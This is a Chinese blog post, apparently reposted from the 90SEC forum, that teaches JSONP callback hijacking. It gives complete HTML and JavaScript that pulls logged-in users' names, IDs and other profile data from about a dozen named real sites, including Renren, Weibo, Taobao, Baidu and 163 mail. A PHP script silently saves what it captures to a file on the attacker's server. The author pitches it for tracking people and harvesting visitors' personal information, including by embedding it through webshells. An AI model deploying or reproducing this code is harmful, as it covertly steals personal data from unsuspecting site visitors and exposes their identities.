1. 用处补充两个利用场景:
(1),追踪那群黑客,对于那些没用虚拟机或者公私未严格分离的黑客,只需要在webshell里嵌入js即可完成定位,这也是JC的常用手法哦~
(2),定位管理员,不管在内网渗透还是在公网渗透,搞定管理员会省很多事,通过webshell在后台嵌入js,同样可以完成定位。当然加上专业探针更好用了。
这个技术用来追踪黑客或者搞个人信息更好。当我访问自己构造的网页效果图如下(以人人网为例):
当我访问这个自己构造的页面时,自己的ID,姓名,照片都出现了,后面再讲怎么把这些信息偷偷传到自己的服务器上。
js.html的代码为:
<html> <body> <script> function renren(obj){ document.write("userID:"+obj.user.userId+"<br />Name:"+obj.user.userName+"<br /><br /><br />Photo:"+"<img src=\""+obj.user.largeUrl+"\"></img>"); } </script> <script src="http://base.yx.renren.com/RestAPI?method=api.base.getLoginUser&format=2&callback=renren"></script> </body> </html>
2. CSRF
js hijacking本质上来讲是一个CSRF的利用,只是我们通过劫持callback函数的方法把敏感的json数据给获取到了。更多关于CSRF的知识请Google
3. js callback函数
JS Api 里这样解释callback:A callback is a function that is passed as an argument to another function and is executed after its parent function has completed.
我感觉应该这样子翻译:callback是个函数,但是函数本身作为一个参数传递给另外一个函数,然后callback这个函数会在另外的函数执行完毕后执行。如此一来,我们通过提前定义callback指定的函数来劫持真正的callback所在定义的url(这个Url会返回敏感的json数据)就可以实现对json数据的读取。而不必再担心同源策略的限制
4. 劫持步骤
在上面的html代码里,我们先看下
http://base.yx.renren.com/RestAPI?method=api.base.getLoginUser&format=2
能返回什么数据:
OK,返回的是正常json数据,但是我们在后面加个callback=renren,并且renren()这个函数在之前进行定义,这样子就大不一样了。javascript肯定是从前往后执行,由于renren这个函数之前已经被定义,所以等到执行
http://base.yx.renren.com/RestAPI?method=api.base.getLoginUser&format=2&callback=renren
的时候,实际上会把执行的结果当成参数传递给我们前面定义的renren()这个函数。如此一来我们成功完成数据的劫持。
5. 回传数据。
第一步中的demo我们只是将数据显示在页面上,而我们的目标是将数据回传供我们读取,这时候就可以用ajax来回传,整个代码如下(copy下乌云的):
jshijacking.html代码:
<html> <head><title>test</title></head> <body> <strong>It works</strong> <script type="text/javascript"> var pid=20130906003345; var random=60113; function GetObjString(obj){ if(typeof(obj)!='object'){ return obj; } var retstr='{ '; for(fld in obj){ retstr+='{ '+fld+'='+GetObjString(obj[fld])+" }\n"; } retstr+=' }'; return retstr; } function ProcessDataInner(obj,subject){ var objstr=GetObjString(obj); objstr=escape(objstr); SendDataToServer(objstr,subject); } function createXHR() { // Checks whether support XMLHttpRequest or not. if (typeof XMLHttpRequest != "undefined") { return new XMLHttpRequest(); } // IE6 and elder version. else if (typeof ActiveXObject != "undefined") { if (typeof arguments.callee.activeXString != "string") { var versions = [ "MSXML2.XMLHttp6.0", "MSXML2.XMLHttp3.0", "MSXML2.XMLHttp"]; for (var i = 0; i < versions.length; i++) { try { var xhr = new ActiveXObject(versions[i]); arguments.callee.activeXString = versions[i]; return xhr; } catch (ex) { throw new Error(ex.toString()); } } return new ActiveXObject(arguments.callee.activeXString); } else { throw new Error("No XHR object available"); } } return null; } function SendDataToServer(Data,subject) { var req = createXHR(); if (req != null) { req.onreadystatechange = function() { if (req.readyState == 4) { } }; req.open("POST", "SaveInfo.php", true); req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); req.send('data='+Data+'&pid='+pid+'&random='+random+'&subject='+subject,false); } } function GetDataFromServer(Url,Method,Data) { // Creates a XMLHttpRequest object. if(Method == null || Method == ''){ Method='GET'; } if(Url==null || Url == ''){ return ''; } var req = new createXHR(); if (req != null) { req.open(Method,Url,false); if(Method=='POST' || Data != null){ req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); } req.send(Data); return req.responseText; } return ''; } function renren(obj){ ProcessDataInner(obj,1); } function jingdong(obj){ ProcessDataInner(obj,2); } function tianya(bl,obj){ ProcessDataInner(obj,3); } function weibo(obj){ ProcessDataInner(obj,4); } function vancl(obj){ ProcessDataInner(obj,6); } function netease_mail(obj){ ProcessDataInner(obj,7); } function mop(obj){ ProcessDataInner(obj,9); } function taobao_nick(obj){ ProcessDataInner(obj,13); } function baidu(obj){ ProcessDataInner(obj,14); } function renren_all(obj){ ProcessDataInner(obj,15); } function jingdong_history(obj){ ProcessDataInner(obj,16); } function baidu_all(obj){ ProcessDataInner(obj,17); } </script> <script src="http://base.yx.renren.com/RestAPI?method=api.base.getLoginUser&format=2&callback=renren"></script> <script src="http://passport.360top.com/call/checkHello?callback=jingdong"></script> <script src="http://passport.tianya.cn/online/checkuseronline.jsp?callback=tianya"></script> <script src="http://weibo.com/ajaxlogin.php?fmelogin=1&callback=weibo"></script> <script src="http://my.vancl.com/user/getusernamebycookie?vancl"></script> <script>ProcessDataInner(getUserName,6);</script> <script src="http://mailfriends.mail.163.com/mailfriends/webApi.do?json={"event":"logon"}&callback=netease_mail"></script> <script src="http://passport.mop.com/common/user-info?callback=mop"></script> <script src="http://tmm.taobao.com/member/birth_show.do?from=www.tmall.com&callback=taobao_nick"></script> <script src="http://fm.baidu.com/dev/api/?tn=playlist&format=jsonp&id=1&callback=baidu"></script> <script src="http://passport.game.renren.com/user/info?callback=renren_all"></script> <script src="http://my.360buy.com/book/track.action?jsoncallback=jingdong_history"></script> <script src="http://zhidao.baidu.com/api/loginInfo?callback=baidu_all"></script> </body>
saveinfo.php用来发来的数据,简单代码为:
<?php $data=$_POST['data']; $fs = fopen("data.txt",'a+'); fwrite($fs,"--------------------------------------------------------------------\r\n"); fwrite($fs,$data); fclose($fs); ?>
这样当别人不小心访问到你的jshijacking.html时就会在服务器上生成data.txt,里面是对方的信息哦。
7. 技术很老,但是我之前没研究过,最近才看了下,希望能对大家有所帮助。
转载自90SEC,作者:asrstar